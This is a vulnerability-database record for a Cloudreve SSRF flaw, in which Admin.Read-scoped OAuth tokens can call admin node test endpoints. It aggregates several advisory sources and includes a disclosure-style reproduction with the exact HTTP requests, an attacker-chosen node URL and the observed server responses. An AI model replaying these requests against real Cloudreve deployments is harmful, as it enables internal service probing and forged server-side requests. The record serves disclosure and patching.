{"id":"CVE-2026-101048","aliases":["EUVD-2026-87979","GHSA-pg9h-w4pm-q3vr","GHSA-v6w6-358x-2433","GO-2026-6106"],"status":"published","title":"Cloudreve before 4.17.0 SSRF via Admin.Read OAuth scope","description":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. An OAuth client that has been authorized by an administrator with only the Admin.Read scope can therefore submit attacker-controlled node definitions and cause the Cloudreve server to issue outbound requests to arbitrary URLs, enabling blind server-side request forgery, internal service probing, and delivery of signed Cloudreve slave-style requests to attacker-chosen endpoints.","severity":{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.00235,"percentile":0.1451,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-863","CWE-918"],"published":"2026-07-24T21:50:23Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","fixed_in":["4.0.0-20260626022735-332a9d800205"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.0-20260626022735-332a9d800205"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.0.0-20250225100611-da4e44b77af4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.0-20260626022735-332a9d800205"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.0.0-20250225100611-da4e44b77af4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.0-20260626022735-332a9d800205"}]}]}],"products":[{"vendor":"cloudreve","product":"cloudreve"}],"references":[{"url":"https://github.com/cloudreve/cloudreve/security/advisories/GHSA-v6w6-358x-2433","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/cloudreve-before-4.17.0-ssrf-via-admin-read-oauth-scope","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101048","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pg9h-w4pm-q3vr"},{"url":"https://github.com/cloudreve/cloudreve/commit/332a9d800205082a2469e555fd66a63f18d9d5dc","tags":["web"]},{"url":"https://github.com/cloudreve/cloudreve/releases/tag/4.17.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-v6w6-358x-2433"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101048.json","tags":["advisory"]},{"url":"https://github.com/cloudreve/cloudreve","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-101048","title":"Cloudreve before 4.17.0 SSRF via Admin.Read OAuth scope","description":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. An OAuth client that has been authorized by an administrator with only the Admin.Read scope can therefore submit attacker-controlled node definitions and cause the Cloudreve server to issue outbound requests to arbitrary URLs, enabling blind server-side request forgery, internal service probing, and delivery of signed Cloudreve slave-style requests to attacker-chosen endpoints.","status":"published","published":"2026-09-27T17:02:36.546Z","modified":"2026-10-08T15:22:07.489Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:20:09.808851Z"}],"euvd":[{"id":"EUVD-2026-87979","description":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. An OAuth client that has been authorized by an administrator with only the Admin.Read scope can therefore submit attacker-controlled node definitions and cause the Cloudreve server to issue outbound requests to arbitrary URLs, enabling blind server-side request forgery, internal service probing, and delivery of signed Cloudreve slave-style requests to attacker-chosen endpoints.","status":"published","published":"2026-09-27T17:02:36Z","modified":"2026-10-08T15:22:07Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:27:32.18003Z"}],"ghsa":[{"id":"GHSA-pg9h-w4pm-q3vr","title":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node...","description":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. An OAuth client that has been authorized by an administrator with only the Admin.Read scope can therefore submit attacker-controlled node definitions and cause the Cloudreve server to issue outbound requests to arbitrary URLs, enabling blind server-side request forgery, internal service probing, and delivery of signed Cloudreve slave-style requests to attacker-chosen endpoints.","status":"published","published":"2026-09-27T18:30:23Z","modified":"2026-09-27T18:30:35Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","level":"medium"},{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:12:31.359269Z"},{"id":"GHSA-v6w6-358x-2433","title":"Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests","description":"## Summary\n\nCloudreve exposes two admin node test endpoints under the `Admin.Read` OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`.\n\n## Impact\n\nAn attacker who obtains an admin-authorized OAuth token with `Admin.Read` but not `Admin.Write` can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.\n\n## Affected version\n\nVerified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.\n\n## Technical details\n\nThe authenticated admin route group requires only `Admin.Read`:\n\n```go\nauth := v4.Group(\"\")\nauth.Use(middleware.LoginRequired())\nauth.Use(middleware.RequiredScopes(types.ScopeAdminRead))\nadmin := auth.Group(\"admin\", middleware.IsAdmin())\n```\n\nThe following routes are registered without `ScopeAdminWrite`:\n\n```go\nnode.POST(\"test\",\n    controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),\n    controllers.AdminTestSlave,\n)\nnode.POST(\"test/downloader\",\n    controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),\n    controllers.AdminTestDownloader,\n)\n```\n\nBy contrast, node create, update, and delete routes do require `Admin.Write`:\n\n```go\nnode.PUT(\"\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.PUT(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.DELETE(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\n```\n\n`TestNodeService.Test()` parses the attacker-supplied node server and sends a request to it:\n\n```go\nslave, err := url.Parse(service.Node.Server)\n...\nres, err := r.Request(\n    \"POST\",\n    routes.SlavePingRoute(slave),\n    bytes.NewReader(bodyByte),\n    ...\n)\n```\n\n`TestNodeDownloaderService.Test()` constructs a downloader from attacker-supplied node settings and invokes its network test method.\n\n## Reproduction\n\nThe following was verified against a disposable Cloudreve instance built from the affected commit.\n\nPrerequisite: an admin user authorizes an OAuth client with `Admin.Read` but not `Admin.Write`.\n\n1. Obtain an OAuth access token whose scope is only:\n\n```text\nopenid Admin.Read\n```\n\nThe returned token response contains:\n\n```json\n{\n  \"token_type\": \"Bearer\",\n  \"scope\": \"openid Admin.Read\"\n}\n```\n\n2. Confirm the token cannot perform an `Admin.Write` node operation:\n\n```http\nPUT /api/v4/admin/node HTTP/1.1\nAuthorization: Bearer \u003cadmin-read-oauth-token\u003e\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"name\": \"deny-control\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"poc\"\n  }\n}\n```\n\nObserved response:\n\n```json\n{\n  \"code\": 40089,\n  \"msg\": \"Insufficient scope: Admin.Write\"\n}\n```\n\n3. Use the same `Admin.Read`-only OAuth token to call the node test endpoint with an attacker-controlled server URL:\n\n```http\nPOST /api/v4/admin/node/test HTTP/1.1\nAuthorization: Bearer \u003cadmin-read-oauth-token\u003e\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"id\": 124,\n    \"name\": \"ssrf-poc\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"attacker-controlled-key\"\n  }\n}\n```\n\nObserved Cloudreve response:\n\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\"\n}\n```\n\n4. The canary server at `127.0.0.1:18080` received the backend request:\n\n```http\nPOST /api/v4/slave/ping HTTP/1.1\nHost: 127.0.0.1:18080\nUser-Agent: Cloudreve/4.14.0\nAuthorization: Bearer Cr \u003chmac-signature\u003e:\u003ctimestamp\u003e\nX-Cr-Node-Id: 124\nX-Cr-Site-Url: http://127.0.0.1:15212\nContent-Length: 37\n\n{\"callback\":\"http://127.0.0.1:15212\"}\n```\n\nThis proves the `Admin.Read`-only OAuth token is denied on a sibling `Admin.Write` route but can still trigger a server-side request to an attacker-selected node URL through the test route.\n\n## Root cause\n\nThe route group enforces `Admin.Read` by default and relies on per-route `Admin.Write` middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the `Admin.Write` set even though they execute server-side network actions using attacker-supplied configuration.\n\n## Remediation\n\n- Add `middleware.RequiredScopes(types.ScopeAdminWrite)` to both node test routes.\n- Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.\n- Audit other admin test endpoints for read-scoped side effects.","status":"published","published":"2026-07-24T21:50:23Z","modified":"2026-07-24T21:50:25Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","level":"medium"}],"cwes":["CWE-863","CWE-918"],"updated_at":"2026-11-02T14:40:53.707378Z"}],"nvd":[{"id":"CVE-2026-101048","description":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. An OAuth client that has been authorized by an administrator with only the Admin.Read scope can therefore submit attacker-controlled node definitions and cause the Cloudreve server to issue outbound requests to arbitrary URLs, enabling blind server-side request forgery, internal service probing, and delivery of signed Cloudreve slave-style requests to attacker-chosen endpoints.","status":"published","published":"2026-09-27T18:16:31.313Z","modified":"2026-10-08T16:17:00.94Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:12:52.081323Z"}],"osv":[{"id":"CVE-2026-101048","title":"Cloudreve before 4.17.0 SSRF via Admin.Read OAuth scope","description":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. An OAuth client that has been authorized by an administrator with only the Admin.Read scope can therefore submit attacker-controlled node definitions and cause the Cloudreve server to issue outbound requests to arbitrary URLs, enabling blind server-side request forgery, internal service probing, and delivery of signed Cloudreve slave-style requests to attacker-chosen endpoints.","status":"published","published":"2026-09-27T17:02:36.546Z","modified":"2026-10-28T02:31:04.978509222Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"GHSA-v6w6-358x-2433","title":"Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests","description":"## Summary\n\nCloudreve exposes two admin node test endpoints under the `Admin.Read` OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`.\n\n## Impact\n\nAn attacker who obtains an admin-authorized OAuth token with `Admin.Read` but not `Admin.Write` can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.\n\n## Affected version\n\nVerified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.\n\n## Technical details\n\nThe authenticated admin route group requires only `Admin.Read`:\n\n```go\nauth := v4.Group(\"\")\nauth.Use(middleware.LoginRequired())\nauth.Use(middleware.RequiredScopes(types.ScopeAdminRead))\nadmin := auth.Group(\"admin\", middleware.IsAdmin())\n```\n\nThe following routes are registered without `ScopeAdminWrite`:\n\n```go\nnode.POST(\"test\",\n    controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),\n    controllers.AdminTestSlave,\n)\nnode.POST(\"test/downloader\",\n    controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),\n    controllers.AdminTestDownloader,\n)\n```\n\nBy contrast, node create, update, and delete routes do require `Admin.Write`:\n\n```go\nnode.PUT(\"\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.PUT(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.DELETE(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\n```\n\n`TestNodeService.Test()` parses the attacker-supplied node server and sends a request to it:\n\n```go\nslave, err := url.Parse(service.Node.Server)\n...\nres, err := r.Request(\n    \"POST\",\n    routes.SlavePingRoute(slave),\n    bytes.NewReader(bodyByte),\n    ...\n)\n```\n\n`TestNodeDownloaderService.Test()` constructs a downloader from attacker-supplied node settings and invokes its network test method.\n\n## Reproduction\n\nThe following was verified against a disposable Cloudreve instance built from the affected commit.\n\nPrerequisite: an admin user authorizes an OAuth client with `Admin.Read` but not `Admin.Write`.\n\n1. Obtain an OAuth access token whose scope is only:\n\n```text\nopenid Admin.Read\n```\n\nThe returned token response contains:\n\n```json\n{\n  \"token_type\": \"Bearer\",\n  \"scope\": \"openid Admin.Read\"\n}\n```\n\n2. Confirm the token cannot perform an `Admin.Write` node operation:\n\n```http\nPUT /api/v4/admin/node HTTP/1.1\nAuthorization: Bearer \u003cadmin-read-oauth-token\u003e\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"name\": \"deny-control\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"poc\"\n  }\n}\n```\n\nObserved response:\n\n```json\n{\n  \"code\": 40089,\n  \"msg\": \"Insufficient scope: Admin.Write\"\n}\n```\n\n3. Use the same `Admin.Read`-only OAuth token to call the node test endpoint with an attacker-controlled server URL:\n\n```http\nPOST /api/v4/admin/node/test HTTP/1.1\nAuthorization: Bearer \u003cadmin-read-oauth-token\u003e\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"id\": 124,\n    \"name\": \"ssrf-poc\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"attacker-controlled-key\"\n  }\n}\n```\n\nObserved Cloudreve response:\n\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\"\n}\n```\n\n4. The canary server at `127.0.0.1:18080` received the backend request:\n\n```http\nPOST /api/v4/slave/ping HTTP/1.1\nHost: 127.0.0.1:18080\nUser-Agent: Cloudreve/4.14.0\nAuthorization: Bearer Cr \u003chmac-signature\u003e:\u003ctimestamp\u003e\nX-Cr-Node-Id: 124\nX-Cr-Site-Url: http://127.0.0.1:15212\nContent-Length: 37\n\n{\"callback\":\"http://127.0.0.1:15212\"}\n```\n\nThis proves the `Admin.Read`-only OAuth token is denied on a sibling `Admin.Write` route but can still trigger a server-side request to an attacker-selected node URL through the test route.\n\n## Root cause\n\nThe route group enforces `Admin.Read` by default and relies on per-route `Admin.Write` middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the `Admin.Write` set even though they execute server-side network actions using attacker-supplied configuration.\n\n## Remediation\n\n- Add `middleware.RequiredScopes(types.ScopeAdminWrite)` to both node test routes.\n- Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.\n- Audit other admin test endpoints for read-scoped side effects.","status":"published","published":"2026-07-24T21:50:23Z","modified":"2026-09-28T03:55:28.333068843Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","level":"medium"}],"cwes":["CWE-863","CWE-918"],"updated_at":"2026-11-02T15:46:56.981655Z"},{"id":"GO-2026-6106","title":"Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests in github.com/cloudreve/Cloudreve","description":"Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests in github.com/cloudreve/Cloudreve","status":"published","published":"2026-08-18T14:32:29Z","modified":"2026-09-28T03:55:28.333068843Z","updated_at":"2026-11-02T15:47:02.838915Z"}]}}
